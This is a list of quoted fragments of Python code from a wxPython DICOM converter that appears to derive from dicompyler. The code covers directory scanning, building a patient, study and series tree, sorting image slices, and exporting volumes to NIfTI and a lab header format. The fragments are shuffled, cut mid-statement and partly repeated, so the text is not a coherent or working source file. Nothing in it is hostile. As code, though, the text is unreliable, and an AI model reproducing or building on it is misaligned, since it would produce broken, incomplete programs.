"dp.GetFrameOfReferenceUID() patients[h]['series'][seinfo['id']]['numimages'] = \\ patients[h]['series'][seinfo['id']]['numimages'] + 1 patients[h]['images'][image['id']] = image # Create each",
"dicomgui.py \"\"\"Main app file that convert DICOM data via a wxPython GUI dialog.\"\"\"",
"patients): \"\"\"Add the patient data to the tree control.\"\"\" # Now add the",
"It's assumed that the reference (prescription) dose is in cGy. import hashlib, os,",
"plan / dose if 'referenceframe' in item: if (item['referenceframe'] == image['referenceframe']): if not",
"patient['structures'].items(): if 'rtss' in item: if (structureid == item['rtss']): filearray.append(structure['filename']) break elif (structure['referenceframe']",
"selected by the user.\"\"\" self.terminate = True dlg = wx.DirDialog( self, defaultPath =",
"filearray.append(structure['filename']) break # If no referenced rtss, but ref'd rtplan, check rtplan->rtss if",
"DICOM RT files and return a dictionary of data.\"\"\" def __init__(self): wx.Dialog.__init__(self) def",
"(16,16) iList = wx.ImageList(iSize[0], iSize[1]) iList.Add( wx.Bitmap( util.GetResourcePath('group.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('user.png'), wx.BITMAP_TYPE_PNG))",
"until it is done before # starting a new thread if (hasattr(self, 't')):",
"{} patients[h]['demographics'] = patient if not 'studies' in patients[h]: patients[h]['studies'] = {} patients[h]['series']",
"b: name += \" - Dose: \" + str(int(b['dose'])) + \" cGy\" rxdose",
"else: self.tcPatients.SetItemImage(child, 3) def minslice_check(child): info = self.tcPatients.GetItemData(child)['info'] return int(info['numimages'])>self.min_slice_num self.selected_exports = []",
"for key, patient in self.patients.items(): patient.update(patients[key]) if 'studies' in patient: for studyid, study",
"wx.CallAfter(progressFunc, 0, 1, progressStr) wx.CallAfter(resultFunc, patients) # if the path is not valid,",
"termination status to false intially self.terminate = False # Hide the progress bar",
"= [structure['filename']] self.EnableItemSelection(patient, structure, filearray) # Search for RT Plans if 'plans' in",
"available at https://github.com/bastula/dicompyler/ # # It's assumed that the reference (prescription) dose is",
"patients[h]['demographics'] = patient if not 'studies' in patients[h]: patients[h]['studies'] = {} patients[h]['series'] =",
"self.tcPatients.SetItemBold(item['treeid'], True) self.tcPatients.SelectItem(item['treeid']) def OnSelectTreeItem(self, evt): \"\"\"Update the interface when the selected item",
"#self.OnDirectorySearch() def OnRescan(self, evt): self.OnDirectorySearch() def OnPause(self, evt): self.terminate = True def OnSpinOffset(self,",
"= os.path.join(out_dir, os.path.basename(out_basepath)+'.nii.gz') if os.path.isfile(nii_fname): self.ChoiceDialog('File existed! Continue?') if self.contiune_export != wx.ID_OK: return",
"= XRCCTRL(self, 'check_volume').IsChecked() self.min_slice_num = int(XRCCTRL(self, 'spin_minslices').GetValue()) self.offset = int(XRCCTRL(self, 'spin_offset').GetValue()) self.export_mori_format =",
"selected item has changed.\"\"\" item = evt.GetItem() # Disable the rx dose message",
"elif (dp.ds.Modality in ['RTSTRUCT']): patient['rtss'] = dp.ds elif (dp.ds.Modality in ['RTPLAN']): patient['rtplan'] =",
"def AlertDialog(self, msg): dialog = wx.MessageDialog(self, msg, 'Error', style=wx.OK) dialog.ShowModal() dialog.Destroy() def ChoiceDialog(self,",
"= self.tcPatients.AppendItem(badplan, name, 6) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray) if",
"RT dose file self.txtRxDose.SetValue(rxdose) if (self.tcPatients.GetItemText(item).startswith('RT Plan') or self.tcPatients.GetItemText(parent).startswith('RT Plan')): self.EnableRxDose(True) def EnableRxDose(self,",
"== 'Importing patient cancelled.'): self.EndModal(wx.ID_CANCEL) def InitTree(self): \"\"\"Initialize the tree control for use.\"\"\"",
"in field: f.write('{} {}\\r'.format(field,pat_ori)) elif 'ImageOrientation' in field: f.write('{} {}\\r'.format(field,img_ori.tolist())) elif 'StudyDate' in",
"Copyright (c) 2009 <NAME> # This file is part of dicompyler, released under",
"images based on a sort descriptor: # (ImagePositionPatient, InstanceNumber or AcquisitionNumber) if 'images'",
"= patient['images'] sort = 'IPP' # Determine if all images in the series",
"from dicompylercore import dicomparser from pyDcmConverter import guiutil, util class DcmConverterApp(wx.App): \"\"\"Prepare to",
"intially self.terminate = False # Hide the progress bar until it needs to",
"XRCCTRL(self, 'btnDicomImport') self.btnPause = XRCCTRL(self, 'btn_pause') self.checkSearchSubfolders = XRCCTRL(self, 'checkSearchSubfolders') self.lblProgressLabel = XRCCTRL(self,",
"patients: patients[h] = {} patients[h]['demographics'] = patient if not 'studies' in patients[h]: patients[h]['studies']",
"= seinfo['id'] image['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['series'][seinfo['id']]['numimages'] = \\ patients[h]['series'][seinfo['id']]['numimages'] + 1 patients[h]['images'][image['id']] =",
"rtplan->rtss if 'rtplan' in item: if 'plans' in patient: for planid, plan in",
"previous configuration...') with open('.dcmconverter.conf', 'r') as f: conf = json.load(f) self.path = conf['path']",
"in dp.ds dose['summationtype'] = dp.ds.DoseSummationType dose['beam'] = dp.GetReferencedBeamNumber() dose['rtss'] = dp.GetReferencedStructureSet() dose['rtplan'] =",
"1 class DicomImporterDialog(wx.Dialog): \"\"\"Import DICOM RT files and return a dictionary of data.\"\"\"",
"#self.AlertDialog('All exports finished!') def OnCheckSearchSubfolders(self, evt): \"\"\"Determine whether to search subfolders for DICOM",
"as the panel loads #self.OnDirectorySearch() def OnRescan(self, evt): self.OnDirectorySearch() def OnPause(self, evt): self.terminate",
"elif (slice == image.data_element(sort).value): sortedimages.append(image) # Save the images back to the patient",
"100, msgs[1]) return dcmfile = str(os.path.join(self.path, filearray[n])) dp = dicomparser.DicomParser(dcmfile) if (n ==",
"patients[h]['series'][seinfo['id']] = seinfo if not 'images' in patients[h]: patients[h]['images'] = {} image =",
"XRCCTRL(self, 'check_volume').IsChecked() self.min_slice_num = int(XRCCTRL(self, 'spin_minslices').GetValue()) self.offset = int(XRCCTRL(self, 'spin_offset').GetValue()) self.export_mori_format = XRCCTRL(self,",
"path, subfolders, terminate, progressFunc, foundFunc, resultFunc): \"\"\"Thread to start the directory search.\"\"\" #",
"Otherwise it is a currently unsupported file else: logger.info(\"%s is a %s file",
"set if 'series' in item: if (item['series'] == image['series']): appendImage = True #",
"some series # use the same patient position for every slice ipp0 =",
"patient to the tree if they don't already exist if not h in",
"item['referenceframe']): filearray.append(structure['filename']) break # If no referenced rtss, but ref'd rtplan, check rtplan->rtss",
"ascending order else: sortednums = sorted(unsortednums, reverse=False) # Add the images to the",
"1]], dtype=np.float) return m def ExportFunc(self, out_basepath, patient_data, progressFunc=None): if patient_data is None:",
"field: f.write('{} {}\\r'.format(field,hospital)) elif 'KVP' in field: f.write('{} {}\\r'.format(field,kvp)) elif 'KernelFunction' in field:",
"= 'Found 1 patient. Reading DICOM data...' elif (len(patients) > 1): progressStr =",
"# starting a new thread if (hasattr(self, 't')): self.t.join() del self.t self.t=threading.Thread(target=self.DirectorySearchThread, args=(self,",
"= [dose['filename']] self.EnableItemSelection(patient, dose, filearray) if not foundstructure: # If there is an",
"+= \" - \" + b['description'] name += \")\" if \"dose\" in b:",
"EnableRxDose(self, value): \"\"\"Show or hide the prescription dose message.\"\"\" self.bmpRxDose.Show(value) self.lblRxDose.Show(value) self.txtRxDose.Show(value) self.lblRxDoseUnits.Show(value)",
"try: self.Check_Export_Files() except: logger.info('Adjusted parameters befor the tree generated.') def OnSpinSliceNum(self, evt): self.min_slice_num",
"id=XRCID('btnDicomImport')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckSearchSubfolders, id=XRCID('checkSearchSubfolders')) self.Bind(wx.EVT_TREE_SEL_CHANGED, self.OnSelectTreeItem, id=XRCID('tcPatients')) #self.Bind(wx.EVT_TREE_ITEM_ACTIVATED, self.OnOK, id=XRCID('tcPatients')) #added by CL.Wang",
"not 'images' in patients[h]: patients[h]['images'] = {} image = {} image['id'] = dp.GetSOPInstanceUID()",
"self.tcPatients.SetItemTextColour(badplan, wx.RED) name = 'RT Dose not found' baddose = self.tcPatients.AppendItem(badplan, name, 9)",
"iList = wx.ImageList(iSize[0], iSize[1]) iList.Add( wx.Bitmap( util.GetResourcePath('group.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('user.png'), wx.BITMAP_TYPE_PNG)) iList.Add(",
"dp.ds.BitsAllocated == 32: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int32) elif dp.ds.BitsAllocated == 8: image_array",
"guiutil, util class DcmConverterApp(wx.App): \"\"\"Prepare to show the dialog that will Import DICOM",
"patient['rtdose'] = dp.ds wx.CallAfter(progressFunc, n//2, len(filearray), msgs[0]) # Sort the images based on",
"[th.start() for th in all_export_threads] #[th.join() for th in all_export_threads] # wait all",
"(dp.GetSOPClassUID() == 'rtdose'): stinfo = dp.GetStudyInfo() if not stinfo['id'] in patients[h]['studies']: patients[h]['studies'][stinfo['id']] =",
"in item: if (item['series'] == image['series']): appendImage = True # used for RT",
"self.tcPatients.AppendItem( patient['treeid'], \"RT Structure Set not found\", 7) self.tcPatients.SetItemTextColour(badstructure, wx.RED) badplan = self.tcPatients.AppendItem(",
"self.res = XmlResource(util.GetResourcePath('dicomgui.xrc')) dlgDicomImporter = self.res.LoadDialog(None, \"DicomImporterDialog\") dlgDicomImporter.Init(self.res) # Show the dialog and",
"patient = dp.GetDemographics() h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() if not h in patients: patients[h] =",
"patients[h]: patients[h]['studies'] = {} patients[h]['series'] = {} wx.CallAfter(foundFunc, patient) # Create each Study",
"\\r\\n if 'Thickness' in field: f.write('{} {:.6f}\\r'.format(field,reso[2])) elif 'ImagePositionBegin' in field: f.write('{} {:.6f}\\r'.format(field,np.min(pos)))",
"in patient['structures'].items(): if 'series' in patient: foundseries = False name = 'RT Structure",
"1 patient. Reading DICOM data...' elif (len(patients) > 1): progressStr = 'Found '",
"return m def ExportFunc(self, out_basepath, patient_data, progressFunc=None): if patient_data is None: return #",
"structure # Create each RT Plan elif dp.ds.Modality in ['RTPLAN']: if not 'plans'",
"completed') if self.export_nii_format: import nibabel as nib logger.info('Exporting image to %s', nii_fname) nib.save(nib.Nifti1Image(image_array,",
"rescaled_image wx.CallAfter(progressFunc, (i+image_array.shape[-1])//2, image_array.shape[-1]+1, 'Creating image array...') image_array = np.transpose(image_array, (1,0,2)) if self.export_mori_format:",
"= self.tcPatients.AppendItem( patient['treeid'], \"RT Structure Set not found\", 7) plan['treeid'] = self.tcPatients.AppendItem(badstructure, name,",
"self.OnConvert, id=XRCID('btn_convert')) self.Bind(wx.EVT_BUTTON, self.OnPause, id=XRCID('btn_pause')) self.Bind(wx.EVT_BUTTON, self.OnRescan, id=XRCID('btn_rescan')) # Init variables if os.path.isfile('.dcmconverter.conf'):",
"patients) # if the path is not valid, display an error message else:",
"images in the series are parallel # by testing for differences in ImageOrientationPatient",
"Add the sort descriptor to a list to be sorted for i, image",
"break elif (structure['referenceframe'] == item['referenceframe']): filearray.append(structure['filename']) break # If no referenced rtss, but",
"in patient: for planid, plan in patient['plans'].items(): if (planid == item['rtplan']): if 'rtss'",
"respective images to the filearray if they exist if 'images' in patient: for",
"the item has data, check to see whether there is an rxdose if",
"f.write('{} {}\\r'.format(field,pat_pos)) elif 'PatientOrientation' in field: f.write('{} {}\\r'.format(field,pat_ori)) elif 'ImageOrientation' in field: f.write('{}",
"Otherwise sort by Acquisition Number elif not (images[0].AcquisitionNumber == \\ images[1].AcquisitionNumber): sort =",
"of images if (('ImageOrientationPatient' in dp.ds) and \\ not (dp.GetSOPClassUID() == 'rtdose')): seinfo",
"foundseries: structure['treeid'] = self.tcPatients.AppendItem(study['treeid'], name, 4) filearray = [structure['filename']] self.EnableItemSelection(patient, structure, filearray) #",
"model_name = dp.ds.ConvolutionKernel, dp.ds.InstitutionName, dp.ds.KVP, dp.ds.ManufacturerModelName img_ori, pat_ori, pat_pos = np.array(dp.ds.ImageOrientationPatient), dp.ds.PatientOrientation, dp.ds.PatientPosition",
"a %s file and is not \" + \\ \"currently supported.\", files[n], dp.ds.SOPClassUID.name)",
"patient. Reading DICOM data...' elif (len(patients) > 1): progressStr = 'Found ' +",
"' + series['description'] + ' (' + modality + ', ' #numimages =",
"if self.only_export_voldata: title = self.tcPatients.GetItemText(child) flag = 'vol' in title.lower() and minslice_check(child) select(child,",
"dk, 0], [0, 0, 0, 1]], dtype=np.float) return m def ExportFunc(self, out_basepath, patient_data,",
"for root, dirs, filenames in os.walk(path): files += map(lambda f:os.path.join(root, f), filenames) if",
"wx.ImageList(iSize[0], iSize[1]) iList.Add( wx.Bitmap( util.GetResourcePath('group.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('user.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('book.png'),",
"patients if ('hf' in image.PatientPosition.lower()) and (sort == 'IPP'): sortednums = sorted(unsortednums, reverse=True)",
"Modified by CL.Wang # Sort image numbers in descending order for head first",
"dlg = wx.DirDialog( self, defaultPath = self.path, message=\"Choose a directory containing DICOM RT",
"else str(series['numimages']) + ' images)' #name = name + numimages series['treeid'] = self.tcPatients.AppendItem(study['treeid'],",
"'tcPatients') self.bmpRxDose = XRCCTRL(self, 'bmpRxDose') self.lblRxDose = XRCCTRL(self, 'lblRxDose') self.txtRxDose = XRCCTRL(self, 'txtRxDose')",
"descending order for head first patients if ('hf' in image.PatientPosition.lower()) and (sort ==",
"for i, image in enumerate(images): if (sort == 'IPP'): if (slice == image.ImagePositionPatient[2]):",
"study if not foundseries: badstructure = self.tcPatients.AppendItem( patient['treeid'], \"RT Structure Set not found\",",
"self.tcPatients.GetItemData(child)['info'] return int(info['numimages'])>self.min_slice_num self.selected_exports = [] first_patient = self.tcPatients.GetFirstChild(self.tcPatients.RootItem)[0] first_study = self.tcPatients.GetFirstChild(first_patient)[0] child,",
"same patient position for every slice ipp0 = np.array(item.ImagePositionPatient) ipp1 = np.array(images[i-1].ImagePositionPatient) if",
"(slice == image.data_element(sort).value): sortedimages.append(image) # Save the images back to the patient dictionary",
"self.tcPatients.AppendItem(badplan, name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED) #self.btnSelect.SetFocus() self.tcPatients.ExpandAll() self.lblProgress.SetLabel( str(self.lblProgress.GetLabel()).replace(' Reading DICOM data...', ''))",
"dlgDicomImporter.export_nii_format conf['output_dir'] = dlgDicomImporter.output_dir conf['output_name'] = dlgDicomImporter.output_name json.dump(conf, f, indent=2, sort_keys=True) # Block",
"file and is not \" + \\ \"currently supported.\", files[n], dp.ds.SOPClassUID.name) # Call",
"Add the respective images to the filearray if they exist if 'images' in",
"== 1) else str(series['numimages']) + ' images)' #name = name + numimages series['treeid']",
"self.ChoiceDialog('File existed! Continue?') if self.contiune_export != wx.ID_OK: return dp = dicomparser.DicomParser(patient_data['images'][0]) reso =",
"= np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int8) else: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]) pos = []",
"XRCCTRL(self, 'checkSearchSubfolders') self.lblProgressLabel = XRCCTRL(self, 'lblProgressLabel') self.lblProgress = XRCCTRL(self, 'lblProgress') self.gaugeProgress = XRCCTRL(self,",
"self.OnInputName, id=XRCID('text_output_name')) self.Bind(wx.EVT_BUTTON, self.OnConvert, id=XRCID('btn_convert')) self.Bind(wx.EVT_BUTTON, self.OnPause, id=XRCID('btn_pause')) self.Bind(wx.EVT_BUTTON, self.OnRescan, id=XRCID('btn_rescan')) # Init",
"hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() if not h in patients: patients[h] = {} patients[h]['demographics'] = patient if",
"key, patient in self.patients.items(): patient.update(patients[key]) if 'studies' in patient: for studyid, study in",
"\" + \\ \"currently supported.\", files[n], dp.ds.SOPClassUID.name) # Call the progress function to",
"= 'vol' in title.lower() and minslice_check(child) select(child, flag) else: select(child, minslice_check(child)) child, cookie",
"OnCheckNiftiFormat(self, evt): self.export_nii_format = evt.IsChecked() def OnPickOutdir(self, evt): self.output_dir = evt.GetPath() def OnInputName(self,",
"%d', len(sortedimages)) patient['images'] = sortedimages wx.CallAfter(progressFunc, 49, 100, msgs[2]) if exportFunc: exportFunc(patient_data=patient, progressFunc=progressFunc)",
"intercept, slope = dp.GetRescaleInterceptSlope() pos.append(dp.ds.ImagePositionPatient[2]) pixel_array = dp.ds.pixel_array rescaled_image = pixel_array * slope",
"[] images = patient['images'] sort = 'IPP' # Determine if all images in",
"pat_pos = np.array(dp.ds.ImageOrientationPatient), dp.ds.PatientOrientation, dp.ds.PatientPosition study_date, serise_date, acq_date = dp.ds.StudyDate, dp.ds.SeriesDate, dp.ds.AcquisitionDate if",
"'PatientOrientation' in field: f.write('{} {}\\r'.format(field,pat_ori)) elif 'ImageOrientation' in field: f.write('{} {}\\r'.format(field,img_ori.tolist())) elif 'StudyDate'",
"def EnableItemSelection(self, patient, item, filearray = [], rxdose = None): \"\"\"Enable an item",
"a new thread if (hasattr(self, 't')): self.t.join() del self.t self.t=threading.Thread(target=self.DirectorySearchThread, args=(self, self.path, self.import_search_subfolders,",
"reference (prescription) dose is in cGy. import hashlib, os, threading, functools, json, warnings",
"to the filearray if they exist if 'structures' in patient: for structureid, structure",
"None): data = self.tcPatients.GetItemData(item) #self.btnSelect.Enable() rxdose = 0 parent = self.tcPatients.GetItemParent(item) if 'rxdose'",
"dose['hasdvh']: name = 'RT Dose with DVH' else: name = 'RT Dose without",
"- ipp1), dtype=np.int32))): parallel = False break # If the images are parallel,",
"for n in range(len(files)): # terminate the thread if the value has changed",
"wx.CallAfter(progressFunc, 99, 100, '') def GetPatient(self): \"\"\"Return the patient data from the DICOM",
"= True # Set the threading termination status to false intially self.terminate =",
"file for our gui resources self.res = XmlResource(util.GetResourcePath('dicomgui.xrc')) dlgDicomImporter = self.res.LoadDialog(None, \"DicomImporterDialog\") dlgDicomImporter.Init(self.res)",
"files.\"\"\" def OnInit(self): wx.GetApp().SetAppName(\"DicomConverter\") # Load the XRC file for our gui resources",
"<NAME> # Copyright (c) 2009-2017 <NAME> # Copyright (c) 2009 <NAME> # This",
"percentDone = 0 else: percentDone = int(100 * (num+1) / length) self.gaugeProgress.SetValue(percentDone) self.lblProgressPercent.SetLabel(str(percentDone))",
"image in enumerate(images): if (sort == 'IPP'): if (slice == image.ImagePositionPatient[2]): sortedimages.append(image) elif",
"(np.any(np.array(np.round(ipp0 - ipp1), dtype=np.int32))): parallel = False break # If the images are",
"= evt.GetPosition() def OnCheckVolFlag(self, evt): self.only_export_voldata = evt.IsChecked() try: self.Check_Export_Files() except: logger.info('Adjusted parameters",
"to show the dialog that will Import DICOM and DICOM RT files.\"\"\" def",
"'' # Set the dialog font and bold the font of the directions",
"[%s]\", self.output_dir) os.makedirs(self.output_dir) all_export_threads = [] for export in self.selected_exports: info = self.tcPatients.GetItemData(export)",
"sort by ImagePositionPatient if parallel: sort = 'IPP' else: # Otherwise sort by",
"self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item, 'rxdose':rxdose}) self.tcPatients.SetItemBold(item['treeid'], True) self.tcPatients.SelectItem(item['treeid']) def OnSelectTreeItem(self, evt): \"\"\"Update the interface",
"0, 0], [float(orientation[1])*di, float(orientation[4])*dj, 0, 0], [float(orientation[2])*di, float(orientation[5])*dj, dk, 0], [0, 0, 0,",
"== item['rtss']): filearray.append(structure['filename']) break elif (structure['referenceframe'] == item['referenceframe']): filearray.append(structure['filename']) break # If no",
"Import DICOM and DICOM RT files.\"\"\" def OnInit(self): wx.GetApp().SetAppName(\"DicomConverter\") # Load the XRC",
"self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) #self.btnSelect.Enable(False) # Disable Rx dose controls except on GTK due",
"'images' in patient: sortedimages = [] unsortednums = [] sortednums = [] images",
"# use the same patient position for every slice ipp0 = np.array(item.ImagePositionPatient) ipp1",
"the patients dictionary self.patients = {} # Search subfolders by default self.import_search_subfolders =",
"self.Bind(wx.EVT_SPINCTRL, self.OnSpinSliceNum, id=XRCID('spin_minslices')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinOffset, id=XRCID('spin_offset')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckMoriFormat, id=XRCID('check_mori')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckNiftiFormat, id=XRCID('check_nifti')) self.Bind(wx.EVT_DIRPICKER_CHANGED,",
"wx.ID_OK: return dp = dicomparser.DicomParser(patient_data['images'][0]) reso = [ float(dp.ds.PixelSpacing[0]), float(dp.ds.PixelSpacing[1]), float(dp.ds.SliceThickness)] affine =",
"wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_multiple.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar.png'), wx.BITMAP_TYPE_PNG))",
"if (item['referenceframe'] == image['referenceframe']): if not 'numimages' in item: appendImage = True if",
"patient: for planid, plan in patient['plans'].items(): if (planid == item['rtplan']): if 'rtss' in",
"if not 'plans' in patients[h]: patients[h]['plans'] = {} plan = dp.GetPlan() plan['id'] =",
"not foundstructure: # If there is an image series, add a fake rtss",
"if (structureid == dose['rtss']): foundstructure = True if (structure['referenceframe'] == dose['referenceframe']): foundstructure =",
"OnPause(self, evt): self.terminate = True def OnSpinOffset(self, evt): self.offset = evt.GetPosition() def OnCheckVolFlag(self,",
"foundseries: badstructure = self.tcPatients.AppendItem( patient['treeid'], \"RT Structure Set not found\", 7) plan['treeid'] =",
"rxdose = data['rxdose'] else: parentdata = self.tcPatients.GetItemData(parent) if not (parentdata == None): if",
"containing DICOM RT files...\") if dlg.ShowModal() == wx.ID_OK: self.path = dlg.GetPath() self.txtDicomImport.SetValue(self.path) dlg.Destroy()",
"IOError, KeyError): pass logger.info(\"%s is not a valid DICOM file.\", files[n]) else: patient",
"if self.contiune_export != wx.ID_OK: return if self.export_nii_format: out_dir = os.path.join(os.path.dirname(out_basepath), 'NiftiFormat') if not",
"self.lblProgressPercentSym.Show(True) #self.btnSelect.Enable(False) # Disable Rx dose controls except on GTK due to control",
"elif dp.ds.BitsAllocated == 8: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int8) else: image_array = np.zeros([dp.ds.Rows,",
"Create each Study but don't create one for RT Dose # since some",
"not self.selected_exports: self.AlertDialog('No Dicom series have been selected!') return if not self.output_dir: self.AlertDialog('Please",
"LPI order! Modified by CL.Wang # Sort image numbers in descending order for",
"foundseries = False if (series['referenceframe'] == dose['referenceframe']): badstructure = self.tcPatients.AppendItem( series['treeid'], \"RT Structure",
"the rx dose message and select button by default self.EnableRxDose(False) #self.btnSelect.Enable(False) # If",
"# Set the dialog font and bold the font of the directions label",
"the directory search thread whether to terminate or not.\"\"\" return self.terminate def DirectorySearchThread(self,",
"new patient to the tree control.\"\"\" # Create a hash for each patient",
"self.OnPause, id=XRCID('btn_pause')) self.Bind(wx.EVT_BUTTON, self.OnRescan, id=XRCID('btn_rescan')) # Init variables if os.path.isfile('.dcmconverter.conf'): logger.info('Loading previous configuration...')",
"(planid == item['rtplan']): if 'rtss' in plan: if (structureid == plan['rtss']): filearray.append(structure['filename']) #",
"changed.\"\"\" item = evt.GetItem() # Disable the rx dose message and select button",
"self, defaultPath = self.path, message=\"Choose a directory containing DICOM RT files...\") if dlg.ShowModal()",
"images to the filearray if they exist if 'images' in patient: for imageid,",
"based on a sort descriptor: # (ImagePositionPatient, InstanceNumber or AcquisitionNumber) if 'images' in",
"def GetPatient(self): \"\"\"Return the patient data from the DICOM importer dialog.\"\"\" return self.patient",
"+ str(dose['beam']) + \": \" if dose['beam'] in plan['beams']: b = plan['beams'][dose['beam']] name",
"If there is an image series, add a fake rtss to it foundseries",
"'Series: ' + series['description'] + ' (' + modality + ', ' #numimages",
"int(info['numimages'])>self.min_slice_num self.selected_exports = [] first_patient = self.tcPatients.GetFirstChild(self.tcPatients.RootItem)[0] first_study = self.tcPatients.GetFirstChild(first_patient)[0] child, cookie =",
"except on GTK due to control placement oddities if not guiutil.IsGtk(): self.EnableRxDose(False) #",
"appendImage = True # used for RT plan / dose if 'referenceframe' in",
"until it needs to be shown self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # Start the directory",
"(series['referenceframe'] == plan['referenceframe']): badstructure = self.tcPatients.AppendItem( series['treeid'], \"RT Structure Set not found\", 7)",
"= plan['beams'][dose['beam']] name += b['name'] if len(b['description']): name += \" - \" +",
"not self.output_dir: self.AlertDialog('Please enter valid output dir!') return if not self.output_name: self.AlertDialog('Please enter",
"dp.ds.Columns, len(patient_data['images'])]).astype(np.int8) else: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]) pos = [] for i,",
"panel has been initialized.\"\"\" # Set window icon if not guiutil.IsMac(): self.SetIcon(guiutil.get_icon()) #",
"return 1 class DicomImporterDialog(wx.Dialog): \"\"\"Import DICOM RT files and return a dictionary of",
"self.min_slice_num = evt.GetPosition() try: self.Check_Export_Files() except: logger.info('Adjusted parameters befor the tree generated.') def",
"self.btnPause = XRCCTRL(self, 'btn_pause') self.checkSearchSubfolders = XRCCTRL(self, 'checkSearchSubfolders') self.lblProgressLabel = XRCCTRL(self, 'lblProgressLabel') self.lblProgress",
"os.path.isdir(path): files = [] for root, dirs, filenames in os.walk(path): files += map(lambda",
"else: name = 'RT Dose without Dose Grid or DVH' foundstructure = False",
"def minslice_check(child): info = self.tcPatients.GetItemData(child)['info'] return int(info['numimages'])>self.min_slice_num self.selected_exports = [] first_patient = self.tcPatients.GetFirstChild(self.tcPatients.RootItem)[0]",
"if not 'numimages' in item: appendImage = True if appendImage: filearray.append(image['filename']) # Add",
"+ \": \" if dose['beam'] in plan['beams']: b = plan['beams'][dose['beam']] name += b['name']",
"parent, \"The DICOM import location does not exist. Please select a valid location.\",",
"'plans' in patient: for planid, plan in patient['plans'].items(): foundstructure = False planname =",
"= self.tcPatients.AppendItem(badplan, name, 5) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray = [dose['filename']] self.EnableItemSelection(patient, dose, filearray) #",
"found\", 8) dose['treeid'] = self.tcPatients.AppendItem(badplan, name, 6) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray = [dose['filename']] self.EnableItemSelection(patient,",
"patient['images'] sort = 'IPP' # Determine if all images in the series are",
"self.path = dlg.GetPath() self.txtDicomImport.SetValue(self.path) dlg.Destroy() #self.OnDirectorySearch() def OnDirectorySearch(self): \"\"\"Begin directory search.\"\"\" self.patients =",
"self.tcPatients.GetFirstChild(first_study) while child.IsOk(): if self.only_export_voldata: title = self.tcPatients.GetItemText(child) flag = 'vol' in title.lower()",
"series['treeid'] = self.tcPatients.AppendItem(study['treeid'], name, 3) self.EnableItemSelection(patient, series, []) # Search for RT Structure",
"the tree generated.') def OnSpinSliceNum(self, evt): self.min_slice_num = evt.GetPosition() try: self.Check_Export_Files() except: logger.info('Adjusted",
"= False if 'structures' in patient: for structureid, structure in patient['structures'].items(): foundstructure =",
"self.patients[h] = {} self.patients[h]['demographics'] = patient name = str(patient['name']) + ' (' +",
"wx.CallAfter(progressFunc, n, len(files), 'Searching for patients...') if (len(patients) == 0): progressStr = 'Found",
"no referenced rtss, but ref'd rtplan, check rtplan->rtss if 'rtplan' in item: if",
"to start the directory search.\"\"\" # Call the progress function to update the",
"CL.Wang self.Check_Export_Files() def Check_Export_Files(self): def select(child, flag): if flag: self.tcPatients.SetItemImage(child, 10) self.selected_exports.append(child) else:",
"= np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int32) elif dp.ds.BitsAllocated == 8: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int8)",
"True if foundstructure: badplan = self.tcPatients.AppendItem( structure['treeid'], \"RT Plan not found\", 8) dose['treeid']",
"logger.info('Cannot handle color image!') return if dp.ds.BitsAllocated == 16: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns,",
"in patient: patient['images'] = [] patient['images'].append(dp.ds) elif (dp.ds.Modality in ['RTSTRUCT']): patient['rtss'] = dp.ds",
"return if not self.output_name: self.AlertDialog('Please enter valid output file name!') return if not",
"patient, item, filearray = [], rxdose = None): \"\"\"Enable an item to be",
"== None): data = self.tcPatients.GetItemData(item) #self.btnSelect.Enable() rxdose = 0 parent = self.tcPatients.GetItemParent(item) if",
"def OnCheckVolFlag(self, evt): self.only_export_voldata = evt.IsChecked() try: self.Check_Export_Files() except: logger.info('Adjusted parameters befor the",
"self.EnableItemSelection(patient, dose, filearray) if not foundstructure: # If there is an image series,",
"dp.ds.StudyDate, dp.ds.SeriesDate, dp.ds.AcquisitionDate if (dp.ds.SamplesPerPixel > 1) or (dp.ds.PhotometricInterpretation == 'RGB'): logger.info('Cannot handle",
"Existence check if self.export_mori_format: out_dir = os.path.join(os.path.dirname(out_basepath), 'LabFormat') if not os.path.isdir(out_dir): os.makedirs(out_dir) mori_fname",
"for i, item in enumerate(images): if (i > 0): iop0 = np.array(item.ImageOrientationPatient) iop1",
"= f.read().splitlines() with open(header_name, 'w') as f: for field in origin_header_lines: # \\r\\n",
